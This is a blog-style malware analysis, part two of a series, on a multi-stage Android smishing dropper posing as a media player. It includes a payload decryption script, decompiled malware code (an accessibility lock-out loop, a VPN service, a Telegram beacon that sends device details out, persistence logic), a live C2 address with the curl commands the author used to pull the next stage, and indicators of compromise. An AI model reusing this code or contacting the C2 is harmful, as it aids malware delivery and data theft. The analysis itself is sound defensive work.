Skip to main content

Command Palette

Search for a command to run...

The Media Player that wasn't

DEX Payload Analysis & C2 Infrastructure Mapping

Updated
16 min readView as Markdown

Continuing from the first part of the series, where I left off with the DEX file from r_4dfb.bin, it claimed to be a media player. Spoiler alert, it wasn't, and it never was


Cracking the container

Here's a brief recap of the elaborate integrity-check and decryption routine of the payload as executed by the app.

The app first XOR'd the binary blob from the app assets with a hardcoded key, following which it handed off control to a method which first constructed a HMAC key using a hardcoded byte array, and a hardcoded salt. Upon passing the integrity check, the payload was decrypted with AES-CBC, and the resulting plaintext was checked to be a multi-DEX container.

Here's a python script which I wrote to emulate the same routine

import hashlib
import hmac
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import struct
import sys
import os

#---------------------------------------------------
# Key material directly from the decompiled APK
xor_java_key = [108, 41, 58, 17, -66, 107, -18, 80, 127, 9, -123, 127, 101, -41, 23, 108]
seed_java_key = [123, 106, 39, -27, 58, 25, -76, 112, -101, -85, 64, -79, 125, -6, -123, -81, 39, -45, -114, -55, -39, 86, -42, 126, -70, -35, -82, 105, 65, -104, -88, -84]
iv_java = [110, -34, 48, 14, -9, -11, 10, 74, -39, -83, 117, 47, 20, 49, -106, -117]

# Convert from Java signed bytes to Python unsigned bytes
XOR_KEY  = bytes(b & 0xFF for b in xor_java_key)
SEED_KEY = bytes(b & 0xFF for b in seed_java_key)
AES_IV   = bytes(b & 0xFF for b in iv_java)

#---------------------------------------------------

# Stage 1: XOR decrypt
def xor_decrypt(data: bytes) -> bytes:
	return bytes(data[i] ^ XOR_KEY[i % len(XOR_KEY)] for i in range(len(data)))
	
#---------------------------------------------------
# Stage 2: HMAC verification
def compute_derived_key(key: bytes)->bytes:
	h = hashlib.sha256()
	h.update(key)
	h.update(b"dg_hmac_v2")
	return h.digest()
	
def validate_hmac(data: bytes) -> bytes:
    if len(data) < 33:
        raise RuntimeError("payload too short (<33 bytes)")
    expected_sig = data[:32]
    payload      = data[32:]
    derived      = compute_derived_key(SEED_KEY)
    computed     = hmac.new(derived, payload, hashlib.sha256).digest()
    if not hmac.compare_digest(computed, expected_sig):
        raise RuntimeError("HMAC validation failed")
    return payload
    
#---------------------------------------------------
# Stage 3: AES-CBC decrypt
def aes_decrypt(payload: bytes)-> bytes:
	cipher = AES.new(SEED_KEY, AES.MODE_CBC, AES_IV)
	return unpad(cipher.decrypt(payload), AES.block_size)
	
#---------------------------------------------------
# Stage 4: multi-DEX container validation
def bytes_to_int_le(data:bytes,offset:int)->int:
	return struct.unpack_from("<I", data, offset)[0]
	

def is_valid_multidex_container(data: bytes) -> bool:
    if not data or len(data) < 8:
        return False
    dex_count = bytes_to_int_le(data, 0)
    if dex_count <= 0 or dex_count > 100:
        return False
    offset = 4
    for i in range(dex_count):
        payload_offset = offset + 4
        if payload_offset > len(data):
            return False
        dex_size = bytes_to_int_le(data, offset)
        if dex_size <= 0 or dex_size > len(data) - payload_offset:
            return False
        # check dex\n magic
        if data[payload_offset:payload_offset+4] != b"dex\n":
            return False
        offset = payload_offset + dex_size
    return True
    
#---------------------------------------------------
# Stage 5: extract individual DEX files

def extract_dex_files(data: bytes, out_dir: str) -> int:
    dex_count = bytes_to_int_le(data, 0)
    offset = 4
    os.makedirs(out_dir, exist_ok=True)
    for i in range(dex_count):
        dex_size = bytes_to_int_le(data, offset)
        payload_offset = offset + 4
        dex_data = data[payload_offset:payload_offset + dex_size]
        out_path = os.path.join(out_dir, f"classes{i+1}.dex")
        with open(out_path, "wb") as f:
            f.write(dex_data)
        print(f"  [{i+1}/{dex_count}] {out_path}  ({dex_size:,} bytes)")
        offset = payload_offset + dex_size
    return dex_count
    
#---------------------------------------------------
# Main 

def main()
	input_file = sys.argv[1] if len(sys.argv) > 1 else "r_4dfb.bin"
    out_dir    = sys.argv[2] if len(sys.argv) > 2 else "extracted_dex"
    
    with open(input_file, "rb") as f:
	    raw = f.read()
	print("Stage 1: XOR decrypt")
	xor_decrypted = xor_decrypt(raw)
	
	print("Stage 2: HMAC-SHA256 verify")
	hmac_payload = validate_hmac(xor_decrypted)
	print("HMAC ok")
	
	print("Stage 3: AES-CBC decrypt")
	decrypted = aes_decrypt(hmac_payload)
	print("Decryption ok")
	
	print("Stage 4: multi-DEX container validation")
	if not is_valid_multidex_container(decrypted):
		raise RuntimeError("invalid multi-DEX container")
	dex_count = bytes_to_int_le(decrypted, 0)
	print(f"{dex_count} valid DEX file(s) found")
	
	print("Stage 5: Extracting DEX files")
	count = extract_dex_files(decrypted, out_dir)
	print(f"Extracted {count} DEX files")
	
if __name__=="__main__":
	main()

This finally gave me a file, which, fingers crossed was a DEX file

litmus in ~/CTFs/MalwareAnalysis/extracted_dex λ file classes1.dex
classes1.dex: Dalvik dex file version 035

Yay!


First Look Inside: Class Inventory

jadx-gui was the next obvious tool. I opened it up, and I was surprised! Unlike the stage-1 APK file, the DEX file didn't have obfuscated class names, which made it quite readable from the start.

Contents of the classes1.dex file as decompiled by JADX

This was a blessing in disguise, since DEX classes don't have methods like attachBaseContext(), it would be a herculean task trying to manually sift through all the classes trying to isolate the starting point for the investigation.

The names of the DEX classes, such as DnsFilterService, VpnBootReciever indicate that the app might try to set up a VPN service to try and snoop on the network traffic of the device.

The AccessChecker and AccessMonitor classes sound like they might be exploiting the Accessibility service provided by Android to create overlays on screens, and/or capture arbitrary user input.

The EndpointConfig file sounds like something which would point me towards the C2 infrastructure of the threat actor.

MediaProvider and MediaCore sound like files which might contain the core logic of the malware, masquerading under the Media player guise, like the app itself.

All of these signs smell of an infostealer, but what it really is, only analysis will tell

Let's go hunting! Low hanging fruit first


AccessChecker and AccessMonitor: The Accessibility Trap

A huge thanks to my friend Harin, who volunteered to dig into these two while I was busy chasing the C2 infrastructure. Turns out, my initial read wasn't far off, but the reality was a bit more sinister than a simple overlay attack.

AccessMonitor runs a polling loop every 2 seconds, checking two conditions: whether the payload has been installed (j()), and whether accessibility services have been enabled (h()). If either check fails and the counter hasn't hit 150 (that's 5 minutes of polling), it simply reschedules itself and tries again.

Runnable runnable = new Runnable() {
    public void run() {
        counter++;

        if (setupAlreadyComplete) {
            stopSelf();
            return;
        }

        boolean installed = j();
        boolean accessibility = h();

        if (installed && accessibility) {
            NotificationHelper.updateNotification(...);
            savePreference("access_enabled", true);
            postDelayed(() -> {
                k();
            }, 2000);
            return;
        }

        if (counter >= 150) {
            stopSelf();
            return;
        }

        postDelayed(this, 2000);
    }
};

Once both conditions are satisfied, it calls k(), which launches WebsiteActivity in the foreground with flags that push it over everything else on screen — effectively locking the user out until the setup is complete.

public final void k() {
    m();
    NotificationHelper.sendFinalNotification(...);

    postDelayed(new Runnable() {
        public void run() {
            Intent intent = new Intent(
                AccessMonitor.this,
                WebsiteActivity.class
            );
            intent.addFlags(...);
            startActivity(intent);
            NotificationHelper.sendFinalNotification(...);
            stopSelf();
        }
    }, 1500);
}

So AccessChecker is less of a monitor and more of a hostage situation, the user is shown WebsiteActivity in the foreground, unable to interact with anything else, until they grant accessibility permissions. At that point, the malware considers setup done and moves on.


EndpointConfig: Finding the C2

The first glance at the EndpointConfig file shows a set of very interesting methods, and even more interesting, was the change in the method signature of the decryption routine used by the author. Unlike the previous APK, I thought the author finally changed their encryption method from the XOR technique used abundantly before.

The current decryption routine was

public static String stringDecryptXORFromArray(short[] cipherText, int offSet, int length, int XORKey) {
        char[] cArr = new char[length];
        for (int counter = 0; counter < length; counter++) {
            cArr[counter] = (char) (cipherText[offSet + counter] ^ XORKey);
        }
        return new String(cArr);
    }

Looks like I praised the author too soon. This is still an XOR cipher, but instead of having a lot of byte arrays all over the place, this time they seemed to have created giant arrays of short for each class, and used a combination of offset and length to get the strings they need.

Naturally, the next step was to create a script which would help me decrypt this.

import sys
def stringDecryptXORFromArray(
    s_arr: list[int], start: int, length: int, xor_key: int
) -> str:
    chars = []

    for offset in range(length):
        value = s_arr[start + offset] ^ xor_key
        chars.append(chr(value))

    return "".join(chars)


if __name__ == "__main__":
    s_arr = [ 
		# Redacted for brevity    
    ]
    start = int(sys.argv[1])
    length = int(sys.argv[2])
    xor_key = int(sys.argv[3])    

    decrypted_string = stringDecryptXORFromArray(s_arr, start, length, xor_key)
    print(decrypted_string)

The first variable I decrypt reveals an endpoint! (http://31[.]77[.]168[.]247:5001)

Looks like we have our first piece to mapping the C2 Infrastructure. The other variables don't reveal much, just default timeout values and comments. There is a method called getMirrorURL, but it returns the same endpoint.

Checking the IP address on AbuseIPDB shows it as benign.

I will report the IP address once I establish that it is being used maliciously. The domain name of qwins.co, which is a Russian bulletproof hosting provider provides a strong signal of malicious activity.

Let's do some recon of the infrastructure!


Infrastructure Recon

As any cybersecurity student would, I ran a limited nmap scan over torsocks, which revealed the following results

litmus in ~ λ torsocks nmap -F -sT 31.77.168.247 -vvv --system-dns 2>/dev/null
Starting Nmap 7.92 ( https://nmap.org ) at 2026-06-26 11:35 IST
Initiating Ping Scan at 11:35
Scanning 31.77.168.247 [2 ports]
Completed Ping Scan at 11:35, 0.30s elapsed (1 total hosts)
Initiating System DNS resolution of 1 host. at 11:35
Completed System DNS resolution of 1 host. at 11:35, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: System [OK: 1, ??: 0]
Initiating Connect Scan at 11:35
Scanning vm163609.hosted-by.qwins.co (31.77.168.247) [100 ports]
Discovered open port 22/tcp on 31.77.168.247
Connect Scan Timing: About 18.00% done; ETC: 11:38 (0:02:21 remaining)
Discovered open port 80/tcp on 31.77.168.247
Discovered open port 8081/tcp on 31.77.168.247
Completed Connect Scan at 11:37, 80.99s elapsed (100 total ports)
Nmap scan report for vm163609.hosted-by.qwins.co (31.77.168.247)
Host is up, received syn-ack (0.30s latency).
Scanned at 2026-06-26 11:35:57 IST for 81s

The HTTP port responded with a standard NGINX response, but port 8081 had a different story to tell.

litmus in ~ λ torsocks curl "http://31.77.168.247:8081" -v
*   Trying 31.77.168.247:8081...
* Established connection to 31.77.168.247 (31.77.168.247 port 8081) from 127.0.0.1 port 39982 
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 31.77.168.247:8081
> User-Agent: curl/8.18.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 404 Not Found
< Connection: keep-alive
< Content-Type: application/json
< Content-Length: 55
< 
* Connection #0 to host 31.77.168.247:8081 left intact
{"ok":false,"error_code":404,"description":"Not Found"}% 

This response shape is very similar to Telegram proxies, which indicates that the malware might be using Telegram as a C2 channel.


DnsFilterService: The VPN which filters your traffic

What it does mechanically

The DnsFilterService extends the VPNService class, and establishes a TUN interface and routes all traffic to 0.0.0.0, and surprisingly, only adds the Google Play application ID to the addAllowedApplication, which only routes network from it via the app.

public final void buildVPNInterface() {
        String dnsFilter = "DnsFilter";
        try {
            Log.w(dnsFilter, ">> connect() called - building VPN interface");
            VpnService.Builder builder = new VpnService.Builder(this);
            builder.setSession("InstallerVPN").addAddress("10.8.0.2", 24).addRoute("0.0.0.0", 0).setMtu(1500).setBlocking(false);
            try {
                builder.addAllowedApplication("com.android.vending");
            } catch (Exception unused) {
            }
            ParcelFileDescriptor parcelFileDescriptorEstablish = builder.establish();
            this.a = parcelFileDescriptorEstablish;
            if (parcelFileDescriptorEstablish == null) {
                Log.e(dnsFilter, ">> VPN establish() returned NULL - VPN permission may be revoked\n");
                stopSelf();
            } else {
                b.set(true);
                Log.w(dnsFilter, ">> VPN CONNECTED successfully - isRunning=true");
                reportDeviceInfoAndVPNStatusViaTelegram();
            }
        } catch (Exception e) {
            Log.e(dnsFilter, C0001.m6(cipherArray, 386, 24, 1157) + e.getMessage(), e);
            handleVPNDisconnect();
            stopSelf();
        }
    }

This might be an attempt to prevent Play Protect from identifying, reporting and isolating the malware. Despite looking for code which handles the traffic of the VPN, I was unable to find it, which indicates that it might be handled by either the previous stage, or probably the next stage.

The Telegram Beacon

Alongside this, the app also uses a Telegram group as C2 to report the infected devices' manufacturer, model, Android version and VPN active status.

@Override // java.lang.Runnable
            public void run() {
                String strM10 = "DnsFilter";
                try {
                    String strEncode = URLEncoder.encode(C0011.m38(f51short, 10, 58, 1193) + (Build.MANUFACTURER + " " + Build.MODEL) + "`\n" +
                            "├ *Android:* `" + Build.VERSION.RELEASE + "`\n" +
                            "└ *Status:* ✅ VPN Active", "UTF-8");
                    StringBuilder sb = new StringBuilder();
                    sb.append("https://api.telegram.org/bot<REDACTED>:<REDACTED>/sendMessage?chat_id=-<REDACTED>&text=");
                    sb.append(strEncode);
                    sb.append("&parse_mode=Markdown");
                    HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(sb.toString()).openConnection();
                    httpURLConnection.setRequestMethod("GET");
                    httpURLConnection.setConnectTimeout(10000);
                    Log.w(strM10, C0007.m21(f51short, 251, 36, 1929) + httpURLConnection.getResponseCode());
                    httpURLConnection.disconnect();
                } catch (Exception e) {
                    Log.e(strM10, C0014.m46(f51short, 287, 28, 2210) + e.getMessage());
                }
            }
        }).start();

The persistence mechanism

The app uses AlarmManager to schedule VPN restart with interval variation based on disconnect reason. This makes the VPN very annoying and difficult for the user to kill. Here's the code sample

public final void scheduleAlarmManagerToRestartVPN(long j) {
        String strM81 = C0024.m81(cipherArray, 534, 9, 1269);
        try {
            AlarmManager alarmManager = (AlarmManager) getSystemService("alarm३");
            if (alarmManager == null) {
                return;
            }
            Intent intent = new Intent(this, (Class<?>) DnsFilterService.class);
            intent.setAction(getStartAction(this));
            int i = Build.VERSION.SDK_INT;
            PendingIntent service = PendingIntent.getService(this, 9999, intent, i >= 31 ? 201326592 : 134217728);
            long jElapsedRealtime = SystemClock.elapsedRealtime() + j;
            if (i >= 23) {
                alarmManager.setExactAndAllowWhileIdle(2, jElapsedRealtime, service);
            } else {
                alarmManager.set(2, jElapsedRealtime, service);
            }
            Log.w(strM81, ">> AlarmManager SET - VPN will restart in" + j + "ms via ELAPSED_REALTIME_WAKEUP");
        } catch (Exception e) {
            Log.e(strM81, C0000.stringDecryptXORFromArray(cipherArray, 620, 24, 650) + e.getMessage(), e);
        }
    }

The Download Chain

Elsewhere in the DEX file, the StreamActivity class looked like something which would handle internet connections, and it's AnonymousClass23 was the only one which used the getBaseURL() function from EndpointConfig, so I set out to explore that. What I discovered that was:

The malware follows a three-step fetch protocol:

  1. GET /prepare?uid=Mortal-Okbaby → server returns a request_id and starts building the payload (~25 seconds) Response: {"download_url":"/pro/fetch?uid=Mortal-Okbaby&request_id=a285c8ab","expiry":"2026-06-25 08:00:31","request_id":"a285c8ab","status":"ready"}

  2. GET /status/<request_id>?uid=Mortal-Okbaby → polls 45 times at 500ms intervals (22.5 second window) until status is ready

  3. GET /fetch?uid=Mortal-Okbaby&request_id=<rid> → downloads the payload

I now had to connect to the attackers C2 Infra in order to download the next payload. After analyzing another function which failed to decompile using Gemini based off JADX's bytecode comments, I found the full download URL schema.

A notable deception: the /status response includes a download_url field pointing to /pro/fetch, but the malware ignores this entirely and constructs the real URL from its own encrypted strings. The server advertises a path it doesn't serve from — deliberate analyst misdirection or a vestigial routing artifact.

I then used a quick script to request the preparing of the payload and download it

RID=$(torsocks curl -s "http://31.77.168.247:5001/prepare?uid=Mortal-Okbaby" | grep -o '"request_id":"[^"]*"' | cut -d'"' -f4) \
  && echo "RID: $RID" \
  && sleep 8 \
  && torsocks curl -v \
     -H "Connection: keep-alive" \
     "http://31.77.168.247:5001/fetch?uid=Mortal-Okbaby&request_id=$RID" \
     -o stream_codec.dat \
  && file stream_codec.dat

Finally,

RID: 1c492e5d
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
  0      0   0      0   0      0      0      0                              0*   Trying 31.77.168.247:5001...
* Established connection to 31.77.168.247 (31.77.168.247 port 5001) from 10.156.239.35 port 35304 
* using HTTP/1.x
> GET /fetch?uid=Mortal-Okbaby&request_id=1c492e5d HTTP/1.1
> Host: 31.77.168.247:5001
> User-Agent: curl/8.18.0
> Accept: */*
> Connection: keep-alive
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Server: Werkzeug/3.0.6 Python/3.8.10
< Date: Thu, 25 Jun 2026 07:16:22 GMT
< Content-Disposition: attachment; filename=1c492e5d.png
< Content-Type: image/png
< Content-Length: 12387828
< Last-Modified: Thu, 25 Jun 2026 07:16:14 GMT
< Cache-Control: no-cache
< ETag: "1782371774.722387-12387828-3174568288"
< Date: Thu, 25 Jun 2026 07:16:22 GMT
< Connection: close
< 
{ [1448 bytes data]
100 11.81M 100 11.81M   0      0  3.09M      0   00:03   00:03          2.66M
* shutting down connection #0
stream_codec_direct.dat: data

The payload arrives disguised as a PNG (Content-Type: image/png, filename <rid>.png) but file identifies it as data, which strongly hints it's an AES-256 encrypted ZIP.


Decryption and Installation

As expected, the app then proceeds to use the zip4j library to decrypt the ZIP file, which was encrypted with the password V3nd3tt@S3cur3Z1p!. The ZIP contained data.dat, which was quickly revealed to be the next stage payload by checking it's magic bytes 0x50 0x4B which translate to readable PK.

The SetupHandler class handles PackageInstaller session callbacks. Once it receives status=0, which indicates the successful installation of the package, it reads the name of the installed application from the SharedPreferences, and immediately proceeds to launch it.


Stage 3: The Nested Dropper

I thought a two-stage chain was already ambitious for a smishing APK. Apparently not.

I then uploaded the extracted APK for analysis to the MobSF instance on my machine, and behold

The same logo impersonation and a seemingly random package name, but the Main Activity dApp.binance.Trading.Signals.MainActivity , ironically signals that it might be the lookalike of a popular Crypto exchange in India.

Looking at the permissions declared in the Manifest of the APK, it was evident that this would probably be the last stage in the already 3-step long chain.

That's a lot of permissions, and they all point in the same direction.

Finally, I opened up the apk in jadx-gui, and I was greeted with the same attachBaseContext() skeleton, same obfuscated class names, just short[] swapped for byte[]I thought a two-stage chain was already ambitious for a smishing APK. Apparently not

This meant there was another payload inside of this one!


Finding the final payload

I looked into the sources of this APK, but couldn't find the advertised dApp.binance.Trading.Signals.MainActivity Activity anywhere. Given the similarity to the original dropper, I found another .bin file in the assets, and used the same decryption script, just with the key material changed to extract a whopping 65 DEX classes.

The final payload deserves its own post, 65 DEX files isn't a footnote.


Indicators of Compromise

Stage 1 — Dropper (ca8818e7_RT0-eChallan.apk)

APK filename:  ca8818e7_RT0-eChallan.apk
Package name:  com.uptodown.installer
SHA256:        364983d2dbff85f4b9b2bac2beba40ad29ac85f2a16bdbc8fd65896ef03cddb2
Asset file:    r_4dfb.bin (encrypted multi-DEX container)
HMAC salt:     dg_hmac_v2
Encryption:    AES/CBC/PKCS5Padding
HMAC seed key: [123, 106, 39, -27, 58, 25, -76, 112, -101, -85, 64, -79, 125, -6, -123, -81, 39, -45, -114, -55, -39, 86, -42, 126, -70, -35, -82, 105, 65, -104, -88, -84]

Stage 2 — DEX Payload (com.stream.media.player)

Package name:  com.stream.media.player
Asset file:    stream_codec.dat (AES-256 ZIP, downloaded from C2)
ZIP password:  V3nd3tt@S3cur3Z1p!
ZIP contents:  data.dat (stage 3 APK)
Campaign UID:  Mortal-Okbaby

Stage 3 — Nested Dropper (app.loitx.aknmk)

Package name:  app.loitx.aknmk
Display name:  Binance Trading Signals
Encryption:    AES/CBC/PKCS5Padding (identical chain to stage 1)
XOR scheme:    byte[] XOR (vs short[] XOR in stage 1)
HMAC salt:     dg_hmac_v2

Network

C2 primary:    31.77.168.247:5001  (Flask/Werkzeug 3.0.6, Python 3.8.10)
C2 hostname:   vm163609.hosted-by-qwins.co
C2 proxy:      31.77.168.247:8081  (Telegram Bot API reverse proxy)
Hosting:       QWINS-Hosting, AS213702 
Smishing URL:  echallan-traffic.live/IN
Endpoints:     /prepare?uid=Mortal-Okbaby
               /status/<request_id>?uid=Mortal-Okbaby
               /fetch?uid=Mortal-Okbaby&request_id=<rid>

Not (a) Fine

Part 2 of 2

A ground up investigation into a real smishing campaign targeting users through a fake MoRTH eChallan notification. What starts as a suspicious SMS turns into a four-stage dropper framework: custom encryption, bulletproof C2 infrastructure, VPN traffic interception and a final banking trojan payload. Every layer, reverse engineered.

Start from the beginning

The Spam SMS that turned into a rabbit hole

I was supposed to be building an Android app, ended up taking one apart